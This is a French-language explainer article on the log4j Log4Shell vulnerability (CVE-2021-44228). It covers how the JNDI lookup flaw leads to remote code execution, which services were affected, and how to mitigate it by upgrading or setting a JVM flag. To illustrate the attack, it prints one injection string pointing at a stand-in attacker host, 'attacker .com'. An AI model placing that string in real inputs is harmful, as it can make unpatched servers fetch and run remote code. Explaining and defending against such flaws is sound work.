Une vulnérabilité critique d'exécution de code à distance a été trouvée dans log4j, un outil de journalisation très populaire utilisé par la plupart des industrie. C'est extrêmement grave, affectant presque tous les serveurs exécutant Java, et est très simple à exploiter, vous voudrez donc mettre à jour et atténuer le problème dès que possible.
Comment ça marche ?
Le bogue, suivi par CVE-2021-44228, affecte probablement presque toutes les applications Java utilisant log4j, ce qui est assez important compte tenu de son omniprésence. Si votre application enregistre une chaîne envoyée par un utilisateur, elle est probablement vulnérable. En ce qui concerne les exploits, c'est l'un des pires cette année, car il peut cibler pratiquement n'importe quel serveur exécutant Java d'une manière ou d'une autre (bien que le vecteur d'attaque principal puisse être plus difficile sur les versions JDK modernes, plus d'informations ci-dessous) .
Essentiellement, l'exploit permet à un attaquant d'envoyer à votre serveur n'importe quelle chaîne comme la suivante, et s'il l'enregistre quelque part dans votre application, votre serveur exécutera le code hébergé à cette adresse.
${jndi:ldap://attacker .com/a}
Cela fonctionne car, lors de l'analyse de cette chaîne au format unique, log4j fera une demande via l'interface de nommage et d'annuaire Java, qui finit par envoyer une demande de téléchargement à un point de terminaison arbitraire. Il télécharge et désérialise le fichier .class de manière non sécurisée. Étant donné que les classes Java peuvent avoir des initialiseurs statiques qui s'exécutent chaque fois que la classe est compilée et référencée, cela entraîne l'exécution de code arbitraire à distance à partir d'une simple chaîne courte. Par exemple, un client pourrait définir son user-agent sur cette chaîne, ou l'inclure dans une requête, et lorsque votre serveur l'enregistrera, il déclenchera l'exploit.
C'est assez horrible, marquant un 9,8 sur l'échelle CVSS. Il tombe juste en dessous du pire score, car malgré son horreur, il n'affecte aucune ressource en dehors de la portée du système ciblé (mais donne un accès au niveau de l'application au serveur exécutant l'enregistreur).
CONNEXES : Comment les vulnérabilités de sécurité sont-elles classées ? (CVSS)
Cela va affecter de nombreuses applications. Par exemple, Minecraft a été l'un des premiers à diffuser la nouvelle et à corriger l'exploit, car il était possible d'exécuter du code à la fois sur les serveurs et sur tous les joueurs connectés à un serveur via les messages de discussion en jeu. Une mise à jour de correctif pour le jeu a été publiée pour corriger le bogue.
Publicité
Des services populaires comme Steam et iCloud se sont déjà révélés vulnérables, et la société de recherche en sécurité GreyNoise a déjà détecté plusieurs adresses IP exécutant des analyses pour les serveurs vulnérables.
@GreyNoise voit actuellement 2 IP uniques analyser Internet pour la nouvelle vulnérabilité Apache Log4j RCE (pas de CVE attribué encore).
Une balise pour suivre cette activité sur https://t.co/QckU3An40q sera disponible sous peu et liée en tant que réponse une fois publiée.— remy🐀 (@_mattata) 10 décembre 2021
Vous exécutez probablement déjà log4j, car il est inclus dans des centaines d'autres bibliothèques en tant qu'outil de journalisation standard. Cependant, les versions du JDK supérieures à 6u211, 7u201, 8u191 et 11.0.1 ne sont pas affectées par le vecteur d'attaque principal (utilisant LDAP) actuellement exploité. Cela ne veut pas dire que vous ne devriez pas mettre à jour, car le bogue dans log4j + JNDI est toujours grave et peut également être facilement utilisé avec d'autres vecteurs d'attaque.
Comment le corriger ?
Heureusement, il existe déjà un correctif qui le corrige entièrement, vous devez donc mettre à jour vos serveurs dès que possible. Cela affecte également les applications clientes, qui doivent également être mises à jour pour ce correctif critique. Après tout, 3 milliards d'appareils exécutent Java, il faudra donc un certain temps avant qu'il ne soit complètement corrigé.
L'exploit a déjà été corrigé dans la dernière version de log4j‘ , 2.15.0-rc2, vous devez donc le mettre à jour si vous le pouvez. Le correctif a également été rétroporté vers des versions antérieures, étant donné la gravité pour les utilisateurs qui peuvent être bloqués sur les versions héritées.
Si vous utilisez une autre bibliothèque qui utilise log4j, vous devriez toujours pouvoir le faire manuellement. mettre à jour dans la plupart des cas, mais si vous ne le pouvez pas, vous pouvez utiliser cet indicateur JVM pour atténuer le problème, qui indique simplement à log4j de ne jamais effectuer de recherche lors du formatage des messages.
-Dlog4j2.formatMsgNoLookups=true